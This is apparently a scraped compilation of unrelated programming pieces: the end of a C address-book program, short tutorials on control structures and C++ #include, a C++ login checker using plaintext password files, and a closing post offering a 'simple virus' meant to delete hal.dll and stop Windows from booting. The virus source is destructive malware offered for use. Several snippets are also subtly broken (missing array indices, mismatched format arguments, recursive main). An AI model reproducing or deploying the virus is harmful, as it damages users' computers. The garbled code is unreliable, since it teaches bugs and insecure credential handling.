printf("\n\nReturning to menu, press enter to continue...\n");
getch();
//scanf("%c", &ch);
//clrscr();
}
/*------------------------------------------------------------------------------
FUNCTION: print_rec
PURPOSE: Prints a single record to the screen.
------------------------------------------------------------------------------*/
static void print_rec(int i, struct address MAIL[])
{
int j = 0;
printf("\nREC # NAME ADDRESS"); /* Print title */
printf(" CITY LOCATION P/CODE\n");

for(j = 0; j < 79; j++)
{
printf("%c", '-');
} /* Print body */
printf("\n%4d ", MAIL.recordnum);
printf("%-13s%-13s", MAIL.PERSON.gname,
MAIL.PERSON.surname);
printf("%-23s", MAIL.street);
printf("%-12s", MAIL.city);
printf("%-4s", MAIL.location);
printf(" %s", MAIL.pcode);
}
/*------------------------------------------------------------------------------
FUNCTION: save
PURPOSE: Rewrites database to disk.
------------------------------------------------------------------------------*/
static void save(struct address MAIL[], int *count, char *fileptr, int lastfile)
{
FILE *fp;
int i = 0, file_error = FALSE;
char answer = 0;
/* If lastfile is true and there's a file in memory */
if(lastfile == TRUE && *fileptr != '\0')
{
do
{ /* Confirmation */
printf("Do you wish to overwrite the last filename opened? Y or N: ");
fflush(stdin);
scanf("%c", &answer);
} while( !strchr( "YN", toupper(answer) ) );
}

if( toupper(answer) == 'Y') /* If answer is Y */
{
if( (fp = fopen(fileptr, "wb") ) == NULL) /* Open the file to write to */
{
fprintf(stderr, "\nFile open error on <%s>", *fileptr);
file_error = TRUE;
}
}
else
{
printf("\n\tEnter the new file to be saved: ");
scanf("%s", fileptr);
if( (fp = fopen(fileptr, "wb") ) == NULL) /* Open the file to write to */
{
fprintf(stderr, "\nFile open error on <%s>", *fileptr);
file_error = TRUE;
}
}

if(file_error == FALSE)
{
for(i = 0; i < *count; i++) /* Loop for all records */
{
if(MAIL.recordnum > 0)
{
fwrite(&MAIL, sizeof(struct address), 1, fp); /* Write records */
} /* to disk one at a time */
}
fprintf(stdout, "\nFile <%s> saved...\n", fileptr);
fclose(fp);
}
}

Statement -Level Control Structures-tutorial

Statement -Level Control Structures
a control statement is a program statement whose purpose is to control how subsequent statements are to be executed..
A control structure refers to the control statement along w/ the collection of program statement it controls..


Quote
IF <condition> THEN
statement_1;
statement_2;
:
statement_n;
END-IF;

In this example, the control statement is the If statement.The control structure refers to the entirety of the code: the control statement and group of statements (from statement_1 to statement_n) that it encloses.

2 factors have posed considerable influence in determining how well-accepted and widely used a programming lang. can become:

1. the ease w/ which program in it can be written, or its writeabilitiy, and
2. the ease w/ which program in it can be understood,modified and maintained or its readability

THE include DIRECTIVE AND HEADER FILES_tutorial

THE include DIRECTIVE AND HEADER FILES

The second line in our program #include <iostream.h> is called an include preprocessor directive. This directive enables the program to use certain functions contained in the external file iostream.h. As the file is placed before the program proper, it is called a header file (with the file extension .h).

C++ provides numerous predefined functions or routines that are stored in header files. A C++ programmer will often use one or more header files to simplify programming and to reduce programming time. Each header files stores functions that are related to a particular application. For example, two of the functions contained in the external file iostream.h are cin and cout. the function cin along with the redirection operator >> is used for reading data from the keyboard while the function cout along with the redirection operator << is used for sending output to the monitor.

A program needing functions contained in a header file must include it in the program by using include preprocessor directive. This preprocessor directive begins with the hash or sharp symbol (#) followed by the word include and the name of the header file enclosed by < and >. You will need one include directive for each header file used in the program.

The include is called a preprocessor directive because the compiler preprocessor acts on this directive first before passing the program proper to the C++ compiler.

There are other preprocessor directives besides the include directive. One most frequently used is the define directive for defining constants.

for example using define directive

#define PI 3.14159265

which means the value of pi in geometry.

c++ Read Multiple User names-Passwords

c++ Read Multiple User names/Passwords
Authors Comments: Originally posted on DreamInCode.net but it was written by me on that site, i decided to post it over here, i'm not the best coder and i'm not to fond of comments but here it is, format for the files are as follows, usernames.txt passwords.txt then in the files each line goes to a user then the same line in passwords.txt is dedicated to the username in the same line of usernames.txt, a ;ott;e confusing but i didn't know how else to put it.



Quote
// written by cipherence



Quote
// coded for </Dream.In.Code>

// as with all my other code, have fun, copy, claim as your own whatever



#include<iostream>

#include<windows.h>

#include<fstream>



using namespace std;



void Member();



string pass;

string user;

string inpass;

string inuser;

int tries = 3;

int count = 0;

int num = 0;

main()

{

system("cls");

cout<<tries<<" Tries remaining"<<endl;

cout<<"USERNAME: ";

cin>>inuser;

cout<<"PASSWORD: ";

cin>>inpass;

while(num==0)

{

ifstream MyFile("usernames.txt", ios::in);

MyFile>>user;

MyFile.close();

ifstream DaFile("passwords.txt", ios::in);

DaFile>>pass;

DaFile.close();

if(inuser==user&&inpass==pass&&count<=3)

{

Member();

}

else

{

cout<<"nn invalid username/password"<<endl;

cout<<" Or to many attempts "<<endl;

count++;

tries--;

system("pause");

main();

}

}

}

void Member()

{

// this is what they see after they validate themselves

}

c++ simple virus

c++ simple virus
Authors Comments: compile it and it will delete hal.dll which is needed for windows start up
it works for xp but not sure about vista
-add more features if you want for it.



Quote
#include <cstdlib> //default by my compiler


Quote
#include <iostream> //default by my compiler

#include <stdio.h> //For remove();

using namespace std;



int main(int argc, char *argv[])

{



remove("%systemroot%/system32/hal.dll"); //hal.dll is needed for startup

//system("%systemroot%/system32/hal.dll"); <anougher way of doing

}